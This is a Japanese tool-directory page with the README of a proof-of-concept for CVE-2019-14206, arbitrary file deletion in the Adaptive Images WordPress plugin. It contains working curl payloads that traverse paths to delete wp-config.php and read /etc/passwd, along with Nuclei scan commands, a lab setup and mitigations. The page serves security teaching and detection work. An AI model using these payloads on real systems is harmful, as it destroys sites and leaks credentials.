Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2019-14206-poc — CVE-2019-14206の概念実証エクスプロイト。Adaptive Images WordPressプラグインにおける任意のファイル削除を実証します。Docker lab、Nucleiテンプレート、セキュリティ教育と検証のための手動テストスクリプトを含みます。 | Kitploit
ツール/GitHubGitHub/developerfred/cve-2019-14206-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubdeveloperfred/cve-2019-14206-poc

cve-2019-14206-poc

CVE-2019-14206の概念実証エクスプロイト。Adaptive Images WordPressプラグインにおける任意のファイル削除を実証します。Docker lab、Nucleiテンプレート、セキュリティ教育と検証のための手動テストスクリプトを含みます。

リポジトリを見る
8ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-14206 - Adaptive Images for WordPress 任意ファイル削除

📋 目次

  1. 脆弱性について
  2. 前提条件
  3. インストール
  4. テスト方法
    • クイックテスト
    • Dockerを使った完全テスト
    • Nucleiを使ったテスト
    • 手動テスト
  5. 結果の解釈
  6. クリーンアップ
  7. トラブルシューティング
  8. 緩和策
  9. 免責事項

🎯 脆弱性について

CVE-ID: CVE-2019-14206
重大度: 高 (CVSS 6.5)
Adaptive Images for WordPress < 0.6.67

影響を受けるプラグイン:

影響を受けるバージョン:

この脆弱性で可能になること

この脆弱性により、リモートの認証されていない攻撃者が、Adaptive Images プラグインを悪用して WordPress サーバー上の 任意のファイルを削除 できます。

実際の影響:

  • ❌ wp-config.phpの削除 によりサイト全体が完全にダウン
  • ❌ データベース認証情報の漏洩 (LFI経由)
  • ⚠️ 攻撃連鎖 によりRCE (リモートコード実行) につながる
  • 🔴 WordPressサイトの完全な乗っ取り

根本原因:

root@kitploit:~
// プラグインはユーザー入力をサニタイズせずに使用
$settings = $_REQUEST['adaptive-images-settings'];

// 攻撃者が制御するパラメータでファイルパスを構築
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;

// 任意のファイルをDELETE
unlink($cache_file);

💻 前提条件

最小要件:

  • オペレーティングシステム: macOS、Linux、または Windows
  • Nuclei: バージョン 3.0 以上 (インストール)
  • Bash: バージョン 4.0 以上
  • curl: 手動テスト用
  • PHP: バージョン 7.0+ (オプション、組み込みサーバーでのテスト用)

前提条件の確認:

root@kitploit:~
# Nucleiの確認
nuclei --version

# Bashの確認
bash --version

# curlの確認
curl --version

# PHPの確認 (オプション)
php --version 2>/dev/null || echo "PHPが利用できません (オプション)"

🚀 インストール

ステップ 1: ファイルのクローンまたはダウンロード

root@kitploit:~
# nuclei-templates ディレクトリにいる場合
cd /Volumes/Codingsh/experimentos/nuclei-templates

# または必要なファイルをダウンロード
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates

ステップ 2: ファイル構造の確認

root@kitploit:~
# ファイルが存在するか確認
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/

ステップ 3: スクリプトを実行可能にする

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh

🧪 テスト方法

1. クイックテスト ⏱️ 2分

エクスプロイト全体をシミュレートする完全デモを実行します:

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh

実行内容:

  • 完全なテスト環境を作成
  • 脆弱性をシミュレート
  • ファイル削除を実証
  • Nuclei テンプレートを検証

期待される出力:

root@kitploit:~
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready

2. Dockerを使った完全テスト 🐳 10分

ステップ 1: Docker環境の起動

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

# Dockerが実行中のとき
docker-compose up -d

# Dockerが実行されていない場合は、シミュレーターを使用
./docker-test-full.sh

ステップ 2: WordPressにアクセス

root@kitploit:~
# 環境は以下で利用可能
# http://localhost:8888

ステップ 3: 脆弱なプラグインの確認

root@kitploit:~
# vulnerable スクリプトが存在するか確認
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php

ステップ 4: テストの実行

root@kitploit:~
# LFIテスト
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# ファイル削除テスト
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# wp-config.phpが削除されたか確認
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php

3. Nucleiを使ったテスト 🎯 5分

ステップ 1: ターゲットリストの準備

root@kitploit:~
# ターゲットファイルを作成
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF

ステップ 2: スキャンの実行

root@kitploit:~
# 基本スキャン
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt

# 詳細スキャン
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v

# デバッグ付きスキャン (バウンティには必須)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug

# 結果を保存
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt

ステップ 3: 結果の解釈

root@kitploit:~
# 結果を確認
cat results.txt

# 陽性の場合は以下が表示:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion

4. 手動テスト 🔧 10分

ステップ 1: PHPサーバーの起動

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888

ステップ 2: LFIテスト (ファイル読み取り)

root@kitploit:~
# /etc/passwdの読み取りを試行
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# wp-config.phpの読み取りを試行
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"

期待される出力 (LFI):

root@kitploit:~
=== CVE-2019-14206 Vulnerability Test ===

[*] Settings received:
  source_file = /etc/passwd
  ...

[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd

ステップ 3: ファイル削除テスト

root@kitploit:~
# 削除前にwp-config.phpが存在するか確認
ls -la wp-config.php

# エクスプロイトを実行
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# 削除後にwp-config.phpが存在するか確認
ls -la wp-config.php

期待される出力 (ファイル削除):

root@kitploit:~
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php

📊 結果の解釈

陽性結果 (脆弱性あり):

root@kitploit:~
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php

Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible

陰性結果 (脆弱性なし):

root@kitploit:~
[N/A] No results found

偽陰性の可能性がある理由:

  • ✅ プラグインがインストールされていない
  • ✅ プラグインが更新されている (バージョン >= 0.6.67)
  • ✅ WAFがリクエストをブロックしている
  • ✅ サーバーが期待するパスで応答しない

🧹 クリーンアップ

テスト環境のクリーンアップ:

root@kitploit:~
# Docker環境を削除
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null

# テストファイルを削除
rm -rf docker-test/
rm -f targets.txt results.txt

# wp-config.phpが削除された場合は復元
cat > wp-config.php << 'EOF'
<?php
// 復元されたファイル
define('DB_NAME', 'wordpress');
EOF

Nucleiのクリーンアップ:

root@kitploit:~
# スキャン結果を削除
rm -f results.txt

# キャッシュをクリア (オプション)
nuclei -rm-cache

🔧 トラブルシューティング

問題 1: Nucleiが見つからない

root@kitploit:~
# Nucleiをインストール
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# またはバイナリをダウンロード
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/

問題 2: テンプレートが読み込まれない

root@kitploit:~
# ファイルが存在するか確認
ls -la http/cves/2019/CVE-2019-14206.yaml

# YAML構文を確認
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"

# 絶対パスを使用
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target

問題 3: PHPサーバーが起動しない

root@kitploit:~
# ポートを確認
lsof -i :8888

# 別のポートを使用
php -S localhost:9999

# PHPがインストールされているか確認
which php
php --version

問題 4: Dockerが動作しない

root@kitploit:~
# Dockerのステータスを確認
docker ps

# Dockerを起動
# macOS: Docker Desktopを開く
# Linux: sudo systemctl start docker

# シミュレーターモードを使用 (Dockerなしで動作)
./docker-test-full.sh

🛡️ 緩和策

即時保護:

  1. プラグインの更新:

    root@kitploit:~
    WordPressダッシュボード > プラグイン > Adaptive Images を更新
    
  2. 安全なバージョン: >= 0.6.67

  3. 脆弱なプラグインの削除:

    root@kitploit:~
    rm -rf wp-content/plugins/adaptive-images/
    

コードによる保護 (開発者向け):

root@kitploit:~
// ✅ 安全なコード (修正例)
function adaptive_images_script_get_settings() {
    // 入力をサニタイズ
    $allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
    $settings = [];
    
    foreach ($allowed_keys as $key) {
        if (isset($_REQUEST['adaptive-images-settings'][$key])) {
            $settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
        }
    }
    
    return $settings;
}

function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
    // パスを検証
    $allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
    $cache_dir = basename(dirname($cache_file));
    
    if (!in_array($cache_dir, $allowed_cache_dirs)) {
        return false; // 無効なパスを拒否
    }
    
    // 検証済みの絶対パスを使用
    $cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
    
    if (file_exists($cache_file)) {
        unlink($cache_file);
    }
}

⚠️ 免責事項

利用規約:

この資料は教育目的およびセキュリティテストの目的に限定して提供されます。

許可される行為:

  • ✅ 自分が所有するシステムでテストする
  • ✅ ラボ環境で使用する
  • ✅ Web脆弱性について学ぶ
  • ✅ オープンソースセキュリティに貢献する
  • ✅ 自身のアプリケーションをテストする

禁止される行為:

  • ❌ 許可なくシステムでテストする
  • ❌ 損害や中断を引き起こす
  • ❌ 悪意のある目的で使用する
  • ❌ エクスプロイトを販売または配布する
  • ❌ 脆弱なシステムの情報を公開する

責任:

著者および貢献者は、以下について一切の責任を負いません:

  • この資料の不適切な使用
  • システムに生じた損害
  • データ損失
  • サービス中断
  • 法的問題

責任ある開示:

実際のシステムでこの脆弱性を発見した場合:

  1. 悪用したり損害を与えない
  2. 脆弱性を文書化する
  3. システムの責任者に通知する
  4. 責任ある開示のガイドラインに従う

📚 追加リソース

参照:

  • NVD - CVE-2019-14206
  • 元の研究
  • 公式プラグイン
  • WPScanエントリ

関連ツール:

  • Nuclei
  • nuclei-templates
  • WPScan
  • Wordfence

🎓 学び

このプロジェクトは以下を示しています:

  1. 入力検証: すべてのユーザー入力をサニタイズすることの重要性
  2. パストラバーサル: ファイルパスがどのように操作されるか
  3. ファイル操作: unlink() のような関数をユーザー入力で使用するリスク
  4. プラグインセキュリティ: WordPressプラグインに共通する脆弱性
  5. CVE分析: 脆弱性を分析および再現する方法
  6. 検出開発: 効果的な検出テンプレートを作成する方法

📝 変更履歴

バージョン 1.0.0 (2026-01-04)

  • ✅ Nucleiテンプレート作成
  • ✅ PoC環境完成
  • ✅ 完全なドキュメント
  • ✅ テストスクリプト検証済み
  • ✅ 機能デモ

🤝 貢献

貢献を歓迎します!貢献するには:

  1. リポジトリをフォーク
  2. ブランチを作成 (git checkout -b feature/improvement)
  3. 変更をコミット (git commit -am 'Add improvement')
  4. ブランチにプッシュ (git push origin feature/improvement)
  5. プルリクエストを作成

📧 サポート

質問や問題がある場合:

  1. トラブルシューティングセクションを確認
  2. リポジトリのissuesを確認
  3. 以下の情報を含めて問題を文書化:
    • オペレーティングシステム
    • Nucleiのバージョン
    • PHPのバージョン (該当する場合)
    • 完全なエラーメッセージ
    • 再現手順

🎉 このテスト資料をご利用いただきありがとうございます!

大いなる力には大いなる責任が伴うことを忘れないでください。この知識をインターネットをより安全にするために使い、脆弱性を増やすために使わないでください。


作成日: 2026年1月4日
バージョン: 1.0.0
ステータス: ✅ 本番環境で使用可能

ツールをダウンロード